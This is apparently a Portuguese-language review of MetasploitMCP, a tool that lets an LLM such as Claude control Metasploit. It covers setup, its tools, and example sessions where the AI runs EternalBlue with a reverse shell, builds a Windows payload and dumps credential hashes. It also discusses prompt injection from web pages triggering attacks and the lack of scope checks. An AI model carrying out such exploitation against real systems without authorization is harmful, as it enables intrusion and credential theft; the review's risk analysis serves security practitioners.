MetasploitMCP: Como Controlar o Metasploit com IA Usando o Model Context Protocol
O pentest está mudando. A barra de entrada para explorar vulnerabilidades nunca foi tão baixa — e isso não é necessariamente algo bom. Ferramentas como o Metasploit Framework democratizaram a exploração há quase duas décadas, mas a curva de aprendizado permanecia íngreme. Agora, com o advento do Model Context Protocol (MCP) e servidores especializados como o MetasploitMCP, qualquer analista com acesso a um LLM como o Claude pode orquestrar campanhas de exploração em linguagem natural.
O projeto [GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP) (615+ estrelas no GitHub, licença Apache 2.0) é a implementação mais completa de um bridge MCP para o Metasploit que existe hoje. Ele expõe 11 ferramentas MCP que cobrem o ciclo completo de exploração: reconhecimento de módulos, execução de exploits, geração de payloads, gerenciamento de sessões e controle de listeners.
O que é o Model Context Protocol?
Antes de entrar no Metasploit, vale entender o MCP. Lançado pela Anthropic em 2024, o Model Context Protocol é um padrão aberto que permite que LLMs interajam com ferramentas externas de forma padronizada. Em vez de integrar cada ferramenta individualmente, o MCP define uma interface comum: o LLM conversa com um “servidor MCP” que conhece as capacidades da ferramenta e traduz pedidos em linguagem natural para comandos reais.
Pense no MCP como um driver de impressora para ferramentas de segurança. Claude (ou qualquer cliente MCP compatível) não precisa saber que o Metasploit usa `msfrpcd` na porta 55553 — ele só precisa saber quais ferramentas estão disponíveis e o que cada uma faz.
Arquitetura do MetasploitMCP
O servidor funciona em duas camadas:
1. Metasploit RPC (msfrpcd) — o Metasploit Framework expõe uma API via MSGPACK-RPC. O `msfrpcd` precisa estar rodando antes de iniciar o MCP.
2. MCP Server (Python) — o MetasploitMCP conecta-se ao `msfrpcd` e expõe as funcionalidades como ferramentas MCP para o cliente LLM.
O transporte suporta dois modos: HTTP/SSE (Server-Sent Events), ideal para clientes remotos, e STDIO, usado pelo Claude Desktop quando o processo é spawnado como child process.
Instalação e Configuração
Requisitos
- Metasploit Framework instalado (Kali Linux ou qualquer distro com `msf` disponível)
- Python 3.10+
- `msfrpcd` rodando e acessível
Passo 1: Clonar e instalar dependências
“`bash
git clone https://github.com/GH05TCREW/MetasploitMCP.git
cd MetasploitMCP
pip install -r requirements.txt
“`
Passo 2: Iniciar o Metasploit RPC
“`bash
msfrpcd -P sua_senha -S -a 127.0.0.1 -p 55553
“`
O `-S` desabilita SSL (para uso local em lab — nunca faça isso em produção). A senha será usada pelo MCP server para autenticar.
Passo 3: Configurar variáveis de ambiente
“`bash
export MSF_PASSWORD=sua_senha
export MSF_SERVER=127.0.0.1
export MSF_PORT=55553
export MSF_SSL=false
export PAYLOAD_SAVE_DIR=~/payloads
“`
Passo 4: Iniciar o MCP Server
“`bash
HTTP/SSE (para clientes remotos)
python MetasploitMCP.py –transport http –host 0.0.0.0 –port 8085
STDIO (para Claude Desktop)
python MetasploitMCP.py –transport stdio
“`
Integração com Claude Desktop
Adicione ao `claude_desktop_config.json`:
“`json
{
“mcpServers”: {
“metasploit”: {
“command”: “uv”,
“args”: [
“–directory”, “/caminho/para/MetasploitMCP”,
“run”, “MetasploitMCP.py”,
“–transport”, “stdio”
],
“env”: {
“MSF_PASSWORD”: “sua_senha”
}
}
}
}
“`
As 11 Ferramentas Disponíveis
O MetasploitMCP expõe um conjunto completo de operações:
Módulos e Exploração:
- `list_exploits` — busca e lista módulos de exploit disponíveis no Metasploit
- `list_payloads` — lista payloads com filtros por plataforma e arquitetura
- `run_exploit` — configura e executa um exploit contra um alvo, com opção de rodar checks antes
- `run_auxiliary_module` — executa qualquer módulo auxiliar (scanner, dos, etc.)
- `run_post_module` — executa módulos de pós-exploração contra sessões ativas
Payload e Sessão:
- `generate_payload` — gera payloads via Metasploit RPC, salvando localmente
- `list_active_sessions` — mostra sessões ativas com detalhes (tipo, túneis, uptime)
- `send_session_command` — executa comandos em shells ou sessões Meterpreter
- `terminate_session` — encerra sessões ativas
Listeners e Jobs:
- `list_listeners` — lista handlers e jobs em execução
- `start_listener` — cria um novo multi/handler para receber conexões
- `stop_job` — finaliza jobs ou handlers em execução
Fluxo de Trabalho Prático
Exemplo 1: Exploração básica com linguagem natural
Com o MCP integrado ao Claude, o fluxo de trabalho fica assim:
“`
Usuário: “Busque exploits relacionados ao MS17-010”
→ Claude chama list_exploits(“ms17_010”)
→ Retorna: exploit/windows/smb/ms17_010_eternalblue e variantes
Usuário: “Rode o EternalBlue contra 192.168.1.100 com payload reverse_tcp para meu IP”
→ Claude chama run_exploit(“exploit/windows/smb/ms17_010_eternalblue”,
{“RHOSTS”: “192.168.1.100”},
“windows/x64/meterpreter/reverse_tcp”,
{“LHOST”: “192.168.1.10”, “LPORT”: 4444})
Usuário: “Quais sessões estão ativas?”
→ Claude chama list_active_sessions()
Usuário: “Rode sysinfo e whoami na sessão 1”
→ Claude chama send_session_command(1, “sysinfo”) e send_session_command(1, “whoami”)
“`
O LLM encadeia as chamadas automaticamente. Não é preciso memorizar sintaxe do Metasploit — basta descrever o objetivo.
Exemplo 2: Geração de payload e configuração de listener
“`
Usuário: “Gere um payload reverse_tcp para Windows x64 e configure um listener na porta 4444”
→ Claude chama:
1. start_listener(“windows/meterpreter/reverse_tcp”, “192.168.1.10”, 4444)
2. generate_payload(“windows/meterpreter/reverse_tcp”, “exe”,
{“LHOST”: “192.168.1.10”, “LPORT”: 4444})
→ Payload salvo em ~/payloads/
“`
Exemplo 3: Pós-exploração
“`
Usuário: “Enumere os usuários logados na máquina da sessão 1”
→ Claude chama run_post_module(“windows/gather/enum_logged_on_users”, 1)
Usuário: “Faça um dump de credenciais”
→ Claude chama run_post_module(“windows/gather/smart_hashdump”, 1)
“`
Análise Crítica: Prós e Contras
Prós
Automação real de pentest. O MetasploitMCP não é um wrapper superficial — ele expõe o RPC completo do Metasploit, incluindo exploração ativa, pós-exploração e gerenciamento de sessões. O analista pode descrever o objetivo e o LLM encadeia as ações.
Padronização via MCP. Ao usar o protocolo MCP, o MetasploitMCP funciona com qualquer cliente compatível: Claude Desktop, Cline, OpenClaude, ou clientes customizados. Não há vendor lock-in no lado do LLM.
Coverage completo do workflow. Com 11 ferramentas cobrindo reconhecimento, exploração, pós-exploração e gerenciamento, o servidor não deixa lacunas críticas no ciclo de ataque.
Infraestrutura de testes sólida. O projeto inclui testes unitários e de integração com mocking completo do Metasploit, pytest-asyncio, coverage reporting e suporte a CI/CD.
Contras
Superfície de ataque ampliada. Dar ao LLM acesso irrestrito ao Metasploit RPC é perigoso. Uma prompt injection maliciosa em uma página web visitada pelo analista pode disparar exploração contra alvos internos. O MetasploitMCP não implementa sandboxes de execução ou confirmação manual obrigatória.
Dependência do msfrpcd. O RPC do Metasploit é antigo, pouco documentado e quebra com frequência entre versões do Framework. A configuração SSL é problemática e o servidor não lida gracefulmente com timeouts de conexão.
Sem contexto de escopo. O MCP server não possui noção de escopo de engajamento, regras de guerra ou autorização. Tudo que o LLM pede, ele executa. Em um pentest real, isso é um problema de governança.
Limitação do transporte STDIO. O Claude Desktop usa STDIO, que spawna um processo Python separado. Se o Metasploit estiver em outra máquina (comum em labs), a configuração fica mais complexa e perde a simplicidade prometida.
Riscos de Segurança
O aviso do projeto é claro: “This tool provides direct access to Metasploit Framework capabilities.” Mas vai além do que a maioria dos analistas percebe:
1. Prompt injection lateral. Se o analista estiver usando o Claude Desktop e navegar em uma página maliciosa, um payload de prompt injection pode instruir o LLM a rodar exploits contra a rede interna.
2. Sem auditoria integrada. Não há logging de quais comandos foram executados, contra quais alvos, ou quem os autorizou. Para um contexto de Bug Bounty ou pentest contratado, isso é insuficiente.
3. Dependência da senha do msfrpcd. A senha do Metasploit RPC fica em plaintext na configuração do Claude Desktop. Qualquer processo no mesmo sistema pode lê-la.
Onde o MetasploitMCP Brilha
Em cenários controlados — labs de treinamento, CTFs, automação de testes de regressão de segurança, ou validação de patches — o MetasploitMCP é uma ferramenta excepcional. Ele reduz o tempo entre “descobrir a vulnerabilidade” e “explorar” de minutos para segundos, com a interface mais intuitiva possível.
Para pentests de produção, minha recomendação é usar o MetasploitMCP apenas como assistente de pesquisa (listar módulos, entender parâmetros) e manter a execução manual para exploração ativa. O ganho de velocidade não compensa o risco de execução não autorizada.
Alternativas no Ecossistema
O ecossistema MCP para segurança está crescendo rápido. Além do MetasploitMCP, vale conhecer:
– [wolfshell](https://github.com/0x7556/wolfshell) (212 estrelas) — WebShell MCP com suporte a Metasploit e Cobalt Strike, focado em pós-exploração
– [FlySecAgent](https://github.com/hnking-star/FlySecAgent) (117 estrelas) — Assistente de segurança chinês que integra Nmap, Metasploit e outras ferramentas via MCP
– [tengu](https://github.com/rfunix/tengu) — Sistema de dois componentes que conecta ferramentas Kali via Flask API
Conclusão
O MetasploitMCP representa o estado da arte da integração entre IA e ferramentas de exploração. É bem construído, extensível e pragmaticamente útil. Mas a conveniência de controlar o Metasploit com linguagem natural carrega um preço: a diluição da responsabilidade consciente que todo pentester precisa ter antes de apertar o gatilho.
O MCP não vai substituir pentesters. Mas vai fazer o trabalho de quem já sabe o que está fazendo ser muito mais rápido. E, para quem não sabe, vai tornar os erros muito mais perigosos.
—
Repositório: [GH05TCREW/MetasploitMCP](https://github.com/GH05TCREW/MetasploitMCP)
Estrelas: 615+ | Linguagem: Python | Licença: Apache 2.0
Última atualização: Fevereiro 2026